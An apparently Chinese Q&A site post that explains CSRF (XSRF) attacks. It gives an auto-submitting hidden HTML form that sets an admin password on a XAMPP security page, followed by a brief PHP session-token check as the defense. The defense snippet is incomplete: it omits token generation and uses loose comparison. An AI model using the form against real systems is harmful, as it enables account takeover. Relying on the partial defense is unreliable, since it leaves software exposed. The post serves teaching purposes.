聘我网

新概念招聘3.0

XSRF攻击

vote up0vote downstar

CSRF(Cross Site Request Forgery)与XSS同为最常见的web攻击方式。

其原理是自动让登陆用户发布某个请求,而对服务器端而言由于只能根据$_SESSION来识别,就以为是用户的合理请求,从而达到欺骗的效果:

例:

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

防:

<?php
 session_start();
 $token= $_SESSION['token'];
 unset($_SESSION['token']);
 session_write_close();
 if ($_POST['token']==$token) {
   // 执行
 } else {
   // 记录 CSRF攻击.
 }
?>
 

1 个答复

vote up0vote down

Most help articles on the web are iacncurate or incoherent. Not this!

链接

您的回答





不是您要找的问题? 浏览其他含有标签 的问题或者 自己问个.